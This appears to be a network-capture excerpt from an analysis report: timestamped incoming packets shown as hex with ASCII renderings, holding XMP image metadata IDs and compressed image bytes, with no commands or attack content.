2022-07-20 13:44:18 UTC	4711	IN	Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D
2022-07-20 13:44:18 UTC	4727	IN	Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>
2022-07-20 13:44:18 UTC	4743	IN	Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
2022-07-20 13:44:18 UTC	4747	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E01191BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407
2022-07-20 13:44:18 UTC	4763	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-90e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.
2022-07-20 13:44:18 UTC	4779	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp
2022-07-20 13:44:18 UTC	4783	IN	Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-a
2022-07-20 13:44:18 UTC	4799	IN	Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%\|U*1za\|sc7&]\|Dkc>3o8df%V^Ukt38mSm8]+.I8'7Qmyo+[Q{SfF
2022-07-20 13:44:18 UTC	4815	IN	Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeBkNjmHKL<YUU?2Ex"%X5FR
2022-07-20 13:44:18 UTC	4822	IN	Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05 3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX
2022-07-20 13:44:18 UTC	4838	IN	Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGwSPa%e+QS6^^gX4G`.QI"q#/-T.T
2022-07-20 13:44:18 UTC	4854	IN	Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d Data Ascii: Z~u_&mn;<!hUrpp?+y}wa\|g*$Sfr6\|l&DY>6z&;&voou\|nQ#ywB%dHMHvJuF\|iQpEWYf{Mmrm-AO0\hC:XW.BZ$EaF=!nV<6=5~N{M
2022-07-20 13:44:18 UTC	4862	IN	Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l\|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~\|0EYY.Ov!O-
2022-07-20 13:44:18 UTC	4878	IN	Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e 3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE\|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"\|wKd`(YFcO!#&Do"Tqsr77/i2lsb7[/
2022-07-20 13:44:18 UTC	4894	IN	Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGwXj-vEybL
2022-07-20 13:44:18 UTC	4902	IN	Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 Data Ascii: 1VLI$_\|\|%q#u%yd&6#zKz/"[)<q[BqydosH=9YAH7wY.JceTzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJB\8^WOTp
2022-07-20 13:44:18 UTC	4918	IN	Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1eC+zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7]_~-=m.*G^_jxr&51
2022-07-20 13:44:18 UTC	4934	IN	Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%P^GE,9cz
2022-07-20 13:44:18 UTC	4942	IN	Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f Data Ascii: E820x(VWAWW1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q=LxQePG^WWOV6md[s%w\|~\iNG52M
